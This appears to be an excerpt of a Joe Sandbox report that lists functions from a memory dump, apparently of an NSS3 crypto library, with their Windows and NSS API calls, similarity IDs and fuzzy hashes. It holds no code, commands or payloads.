Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: fa52757fe14ec1a84a39761961bdcd528b6d670d5fef36d2baddc7fbe5405873
Instruction ID: ef967969b62375454a63bfcbededb8e09a7640af016494e21d96c3ea26425575
Opcode Fuzzy Hash: fa52757fe14ec1a84a39761961bdcd528b6d670d5fef36d2baddc7fbe5405873
Instruction Fuzzy Hash: FA414CB0A64306AFE7148A36C844355B7B4EB4A32CFA8472BC81543EE5D3749DA4CBD9

Function 6C604FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C4E85D2,00000000,?,?), ref: 6C604FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C60500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6050C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6050D6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 596715f8203f01665bd523206e719910a0d8f6d3e115642494e7e13b1eae79e4
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 924180B2A402158BDB18CF18DCD179AB7E1BF4431871D466DD84ADBB02E379E891CB89

Function 6C590420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C57C97F,?,?,?), ref: 6C5904BF
TlsGetValue.KERNEL32(00000000,?,6C57C97F,?,?,?), ref: 6C5904F4
EnterCriticalSection.KERNEL32(?,?,?,6C57C97F,?,?,?), ref: 6C59050D
PR_Unlock.NSS3(?,?,?,?,6C57C97F,?,?,?), ref: 6C590556

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: aca026793097d18a4b2c8acf81d1476da2edbb9e7369312cdcf4248c5e8185fe
Instruction ID: c51ab2c7c41d425788b6a144eced189741fa11648225c146351819611ae19328
Opcode Fuzzy Hash: aca026793097d18a4b2c8acf81d1476da2edbb9e7369312cdcf4248c5e8185fe
Instruction Fuzzy Hash: 35415470A05686DFDB04DF29C984669BBF5FF88314F14896EDC598BB12D730E891CB80

Function 6C65A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C65A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C65A662), ref: 6C65A69E
Part of subcall function 6C65A690: PR_NewCondVar.NSS3(?), ref: 6C65A6B4

PR_IntervalNow.NSS3 ref: 6C65A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C65A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C65A944
PR_SetPollableEvent.NSS3(?), ref: 6C65A94F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 360efc61156ebd9809ac93824ea696579614e4a82d0272f057466a4e8c7bf116
Instruction ID: ecc3e6c9a5505927a5d593a0d670ed19ea8f1423fb0ed5b8322cd55fd1176306
Opcode Fuzzy Hash: 360efc61156ebd9809ac93824ea696579614e4a82d0272f057466a4e8c7bf116
Instruction Fuzzy Hash: C3415BB4A01A12DFC704CF29C580966FBF5FF49318765852AD449CBB12E731E860CFA4

Function 6C546C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C546C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C546CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C546CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C668FE0), ref: 6C546CFE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 89a880b1ca9ec6d2a6817f61b54ae350aef0d58a321cc39e43100b8c8c47a66d
Instruction ID: db6613f603d48c304d09c8e123aa3ba6465571e434752ee3b98d2986d7490aae
Opcode Fuzzy Hash: 89a880b1ca9ec6d2a6817f61b54ae350aef0d58a321cc39e43100b8c8c47a66d
Instruction Fuzzy Hash: 75317CB5A002169FEB08CF65CC91ABFBBF5EF89348B10842DD905E7710EB719905CBA0

Function 6C654F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C654F5D
free.MOZGLUE(?), ref: 6C654F74
free.MOZGLUE(?), ref: 6C654F82
GetLastError.KERNEL32 ref: 6C654F90

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: fb9d85f0257ebca63da4501d056e970c425422be09673a17a87abef06d324c3c
Instruction ID: 889074574958f8c68e1102e813601f548631229ef9fd70ed23527f5635aaad70
Opcode Fuzzy Hash: fb9d85f0257ebca63da4501d056e970c425422be09673a17a87abef06d324c3c
Instruction Fuzzy Hash: 81316875A0020A5BEB00CF6DDC81BEFB3B8FF85348F540228EC15A7280DB75D92586A9

Function 6C5B2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C5B2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C5B2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5B294C
free.MOZGLUE(?), ref: 6C5B2955

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: c18407e62ba5faee10b8857f26abd1e2a54018f87c1629779111506196955ff4
Instruction ID: 04560d6b1a4f517afab16e6e185377bd4489a6f4a6213b84ccec7c75bad395ac
Opcode Fuzzy Hash: c18407e62ba5faee10b8857f26abd1e2a54018f87c1629779111506196955ff4
Instruction Fuzzy Hash: E421C4B6600600DBE7208B26DC09F577BE9AFC4358F080938E45ED7B61FB72E8588761

Function 6C5A8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6C5A72EC), ref: 6C5A855A

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6C5A72EC), ref: 6C5A859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C5A72EC), ref: 6C5A85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6C5A72EC), ref: 6C5A8600

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 2945aa5d694a788c22a4002fc7c3b364a1a93699ec33df2f30c94d87965d0d27
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: 2C21D371A00251ABE7048FAEDC40B2F76A9AFC531CF65812ADC6597751EB31DC07C7A2

Function 6C60AAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6A0D9C,00000000), ref: 6C60AAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6A0DA8,00000000), ref: 6C60AAE3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: 0564e017fb1a6ded9667b98c5ef8474fd2d008635a6cf36548ad721453fb27fd
Instruction ID: 5a59077cbdbc2e50e0a5e58cf9fd427f2f8d4969bd5f0f8fa544768b6176821b
Opcode Fuzzy Hash: 0564e017fb1a6ded9667b98c5ef8474fd2d008635a6cf36548ad721453fb27fd
Instruction Fuzzy Hash: 65210772E00205ABDF08EFA9DA016CE3BF69F02398F104115EC15BBA82D771E9558B9D

Function 6C584FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C58B60F,00000000), ref: 6C585003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C58B60F,00000000), ref: 6C58501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C58B60F,00000000), ref: 6C58504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C58B60F,00000000), ref: 6C585064

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 7b51258ce109fbf94df0dc4cd533d90b5069a96f4d6c1afd6783ff725675c503
Instruction ID: d8523e296e941e89fe5aebdc15d47eaa1d35fa4fe7eda58c938e181796ac8eb4
Opcode Fuzzy Hash: 7b51258ce109fbf94df0dc4cd533d90b5069a96f4d6c1afd6783ff725675c503
Instruction Fuzzy Hash: BD3127B4A05616DFDB00EF69C88466ABBF4FF48304F508529D85AD7700E730E894CBD1

Function 6C5B2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C5B2E08

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C5B2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C5B2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5B2E95

Part of subcall function 6C5A1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A1228
Part of subcall function 6C5A1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5A1238
Part of subcall function 6C5A1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A124B
Part of subcall function 6C5A1200: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A125D
Part of subcall function 6C5A1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5A126F
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5A1280
Part of subcall function 6C5A1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5A128E
Part of subcall function 6C5A1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5A129A
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5A12A1

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: da3f2c9896abf30caf0ce7023f99b0c0c2d11443d4d15979c4bb95a5c7875e4a
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: BC21C5B5D103458BEB00CF569D587BB3A646FD134CF110269FD086B652F7B1D99882A1

Function 6C5304D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6C5304F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C53053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C530558
GetLastError.KERNEL32 ref: 6C53057A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: d00a625508a0f5e4c28ddeb904aa791562cacd1374d058e26e8a58ccb47b0587
Instruction ID: 50d88656603787af72e962a470c5e9ec15efabcd74231a4e788364282dec327d
Opcode Fuzzy Hash: d00a625508a0f5e4c28ddeb904aa791562cacd1374d058e26e8a58ccb47b0587
Instruction Fuzzy Hash: 1E214F71B00219AFDB08DF59DC94AAEB7B8FF89308B108069E8099B351D731ED05CBA4

Function 6C5469B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C546AB7,0000000C,00000001,00000000,?,?,6C546AB7,?,00000000,?), ref: 6C5469CE

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SEC_ASN1EncodeItem_Util.NSS3(6C546AB7,0000001C,00000004,?,00000001,00000000), ref: 6C546A06
SEC_ASN1EncodeItem_Util.NSS3(6C546AB7,?,00000000,?,00000001,00000000,?,?,6C546AB7,?,00000000,?), ref: 6C546A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C546AB7,?,00000000,?), ref: 6C546A42

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 02b702f6b1ff32b9df398cd87e851f2167a8b3854dce0b8b5c6bfd9030f2cd91
Instruction ID: d5b9807a7d5660ce3173fb022f9548de46ccc17fece6fe78fd48d62c027c72e5
Opcode Fuzzy Hash: 02b702f6b1ff32b9df398cd87e851f2167a8b3854dce0b8b5c6bfd9030f2cd91
Instruction Fuzzy Hash: 3E11BCB1A40B01EFE710CF67DC80B5677ACEB4435CF10C629EA19C7E41EB31E85486A0

Function 6C56ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C56ACC2

Part of subcall function 6C542F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C542F0A
Part of subcall function 6C542F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C542F1D

Part of subcall function 6C542AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C540A1B,00000000), ref: 6C542AF0
Part of subcall function 6C542AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C542B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C56AD5E

Part of subcall function 6C5857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C54B41E,00000000,00000000,?,00000000,?,6C54B41E,00000000,00000000,00000001,?), ref: 6C5857E0
Part of subcall function 6C5857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C585843

CERT_DestroyCertList.NSS3(?), ref: 6C56AD36

Part of subcall function 6C542F50: CERT_DestroyCertificate.NSS3(?), ref: 6C542F65
Part of subcall function 6C542F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C542F83

free.MOZGLUE(?), ref: 6C56AD4F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 50fb3cac0ed79a90c8461eb3b41d37d3dc473c37176cc4e88f420db1a8a1316f
Instruction ID: ce056defaf60a1e2515e555fdda94b2d3d968e26d5c2221a025ec69498c7da0d
Opcode Fuzzy Hash: 50fb3cac0ed79a90c8461eb3b41d37d3dc473c37176cc4e88f420db1a8a1316f
Instruction Fuzzy Hash: 2321F3B1D002249BEB00DF66DC454EEB7B4EF45208F458028D805BBB11FB31AE49CBA5

Function 6C5824E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

